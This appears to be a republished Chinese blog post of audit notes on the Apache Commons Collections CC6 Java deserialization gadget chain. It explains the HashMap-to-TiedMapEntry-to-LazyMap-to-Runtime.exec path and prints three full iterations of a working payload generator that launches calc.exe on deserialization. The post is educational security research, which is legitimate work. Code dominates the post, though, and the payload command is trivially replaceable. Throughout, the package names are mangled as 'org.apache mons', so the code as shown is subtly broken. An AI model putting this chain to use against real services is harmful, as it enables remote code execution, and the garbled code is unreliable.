主页 > 开源代码  > 

Apache-CC6链审计笔记

Apache-CC6链审计笔记
java-CC6链审计笔记 一、审计过程 1、lazyMap

在之前CC1的审计中发现ChainedTransformer的transform方法还可以被LazyMap的get方法调用

public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }

所以只要令factory的值为ChainedTransformer对象,则可以实现调用。而protected final Transformer factory; 则定义了factory是一个类属性,所以只要能够通过构造方法对类属性进行赋值,则可以实现对象的传递。

protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = factory; }

同时,还需要令 if (map.containsKey(key) == false) 条件满足,则说明Map对象中不能包含对应的Key值,则才会进入If语句中进行调用。

CC1扩展

接下来寻找谁在调用LazyMap的get方法,通过Find Usage找到了3000多个匹配的地方,其中也包含AnnotationInvocationHandler

其实这也是CC1链的一个扩展,但是由于仍然是对AnnotationInvocationHandler进行反序列化,同样不适用于新版本JDK,所以该链不进行审计。

2、TiedMapEntry

发现Common Collections库中的TiedMapEntry调用了get方法。

谁在调用getValue方法,发现同类中的hashCode方法在调用。

而哪里有hashCode呢,其实在审计UrlDNS链时已经知道了,HashMap就存在hashCode方法,且HashMap本身就重写了readObject,可以较好地实现反序列化和自动调用。所以CC6相对是比较容易理解的,而且不依赖于JDK版本,实用性也很高。目前确定的调用链如下:

java.io.ObjectInputStream.readObject() java.util.HashMap.put() java.util.HashMap.hashCode() org.apache mons.collections.keyvalue.TiedMapEntry.hashCode() org.apache mons.collections.keyvalue.TiedMapEntry.getValue() org.apache mons.collections.map.LazyMap.get() org.apache mons.collections.functors.ChainedTransformer.transform() org.apache mons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec() 二、编写链条利用 import org.apache mons.collections.Transformer; import org.apache mons.collections.functors.ChainedTransformer; import org.apache mons.collections.functors.ConstantTransformer; import org.apache mons.collections.functors.InvokerTransformer; import org.apache mons.collections.keyvalue.TiedMapEntry; import org.apache mons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class ApacheCC6 { public void CC6_ser() throws Exception { // transformer[]数组,相当于一下代码的执行。 /* Class<Runtime> runtimeClass = Runtime.class; Method method = runtimeClass.getMethod("getRuntime", null); Runtime runtime = (Runtime) method.invoke(null); runtime.exec("calc.exe"); */ Transformer[] transformers = new Transformer[]{ // 1.相当于Class<Runtime> runtimeClass = Runtime.class; new ConstantTransformer(Runtime.class), // 2.相当于Method method = runtimeClass.getMethod("getRuntime", null); new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), // 3.相当于runtime = (Runtime) method.invoke(null); new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 4.相当于runtime.exec("calc.exe"); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 创建lazymap,并传入chainedTransformer对象 /* LazyMap有一个静态方法可以让我拿到它的对象实例 public static Map decorate(Map map, Factory factory) { return new LazyMap(map, factory); } */ LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer); // 创建TiedMapEntry对象,并绑定Lazymap对象 TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5"); // 创建HashMap对象,并将TiedMapEntry作为Key进行处理 Map<Object, Object> map = new HashMap<>(); map.put(tiedMapEntry, "lingx5"); FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(map); } public void unserializeCC6() throws Exception { FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); System.out.println("运行完成"); } public static void main(String[] args) throws Exception { ApacheCC6 cc6 = new ApacheCC6(); cc6.CC6_ser(); // cc6.unserializeCC6(); }; }

成功弹出计算机

这只是在序列化,并没有反序列化他就弹出了计算器。同时报错Exception in thread "main" java.io.NotSerializableException: java.lang.ProcessImpl

我们在下面解决这个问题

三、异常调试

由于HashMap的put方法会导致提前调用hashCode()方法,从而在序列化的时候就命令执行

Exception in thread "main" java.io.NotSerializableException: java.lang.ProcessImpl

这个报错也是Runtime在执行方法时的底层类实现类对象,由于ProcessImpl对象不能被序列化而导致的报错

我们使用ChainedTransformer的Transform()方法一步一步循环从而得到了Runtime类。所以我们在lazyMap实例化的时候不传入ChainedTransformer对象,而是传入一个其他无意义的类。在通过反射的方式修改JVM已经加载的LazyMap对象。修改之后在进行序列化。

LazyMap实例化

LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));

反射修改

Class<? extends LazyMap> Clazz = Lazymap.getClass(); Field factory = Clazz.getDeclaredField("factory"); factory.setAccessible(true); factory.set(Lazymap, chainedTransformer);

修改后

import org.apache mons.collections.Transformer; import org.apache mons.collections.functors.ChainedTransformer; import org.apache mons.collections.functors.ConstantTransformer; import org.apache mons.collections.functors.InvokerTransformer; import org.apache mons.collections.keyvalue.TiedMapEntry; import org.apache mons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class ApacheCC6 { public void CC6_ser() throws Exception { // transformer[]数组,相当于一下代码的执行。 /* Class<Runtime> runtimeClass = Runtime.class; Method method = runtimeClass.getMethod("getRuntime", null); Runtime runtime = (Runtime) method.invoke(null); runtime.exec("calc.exe"); */ Transformer[] transformers = new Transformer[]{ // 1.相当于Class<Runtime> runtimeClass = Runtime.class; new ConstantTransformer(Runtime.class), // 2.相当于Method method = runtimeClass.getMethod("getRuntime", null); new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), // 3.相当于runtime = (Runtime) method.invoke(null); new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 4.相当于runtime.exec("calc.exe"); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 创建lazymap,并传入chainedTransformer对象 /* LazyMap有一个静态方法可以让我拿到它的对象实例 public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } */ LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null)); // 创建TiedMapEntry对象,并绑定Lazymap对象 TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5"); // 创建HashMap对象,并将TiedMapEntry作为Key进行处理 Map<Object, Object> map = new HashMap<>(); map.put(tiedMapEntry, "lingx5"); // 在执行put之后,反射修改LazyMap对象的factory属性 Class<? extends LazyMap> Clazz = Lazymap.getClass(); Field factory = Clazz.getDeclaredField("factory"); factory.setAccessible(true); factory.set(Lazymap, chainedTransformer); FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(map); } public void unserializeCC6() throws Exception { FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); System.out.println("运行完成"); } public static void main(String[] args) throws Exception { ApacheCC6 cc6 = new ApacheCC6(); cc6.CC6_ser(); cc6.unserializeCC6(); }; }

现在没有报错了,但是他也不弹计算机了。我们调试一下看是哪里的问题

看到if语句里的表达式为false,所以没有调用factory.transform(key)方法

这是因为在map.put(tiedMapEntry, “lingx5”)执行时,触发TiedMapEntry的hashCode方法调用LazyMap.get(“lingx5”)该key来自TiedMapEntry构造时的第二个参数。此时LazyMap的factory仍是初始值,但根据LazyMap特性,若key不存在会自动创建条目,导致"lingx5"被注入到初始空HashMap中。

我们继续修改,把key(lingx5)删除

// 反射和直接删除都是可以的,因为remove的修饰符是public /* 反射删除 Method remove = Clazz.getMethod("remove", Object.class); remove.invoke(Lazymap, "lingx5"); */ // 直接删除 Lazymap.remove("lingx5"); 四、最终代码 import org.apache mons.collections.Transformer; import org.apache mons.collections.functors.ChainedTransformer; import org.apache mons.collections.functors.ConstantTransformer; import org.apache mons.collections.functors.InvokerTransformer; import org.apache mons.collections.keyvalue.TiedMapEntry; import org.apache mons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class ApacheCC6 { public void CC6_ser() throws Exception { // transformer[]数组,相当于一下代码的执行。 /* Class<Runtime> runtimeClass = Runtime.class; Method method = runtimeClass.getMethod("getRuntime", null); Runtime runtime = (Runtime) method.invoke(null); runtime.exec("calc.exe"); */ Transformer[] transformers = new Transformer[]{ // 1.相当于Class<Runtime> runtimeClass = Runtime.class; new ConstantTransformer(Runtime.class), // 2.相当于Method method = runtimeClass.getMethod("getRuntime", null); new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), // 3.相当于runtime = (Runtime) method.invoke(null); new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 4.相当于runtime.exec("calc.exe"); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 创建lazymap,并传入chainedTransformer对象 /* LazyMap有一个静态方法可以让我拿到它的对象实例 public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } */ LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null)); // 创建TiedMapEntry对象,并绑定Lazymap对象 TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5"); // 创建HashMap对象,并将TiedMapEntry作为Key进行处理 Map<Object, Object> map = new HashMap<>(); map.put(tiedMapEntry, "lingx5"); // 在执行put之后,反射修改LazyMap对象的factory属性 Class<? extends LazyMap> Clazz = Lazymap.getClass(); Field factory = Clazz.getDeclaredField("factory"); factory.setAccessible(true); factory.set(Lazymap, chainedTransformer); // 删除名为ingx5的key /* Method remove = Clazz.getMethod("remove", Object.class); remove.invoke(Lazymap, "lingx5"); */ Lazymap.remove("lingx5"); FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(map); } public void unserializeCC6() throws Exception { FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); System.out.println("运行完成"); } public static void main(String[] args) throws Exception { ApacheCC6 cc6 = new ApacheCC6(); cc6.CC6_ser(); cc6.unserializeCC6(); }; }

标签:

Apache-CC6链审计笔记由讯客互联开源代码栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“Apache-CC6链审计笔记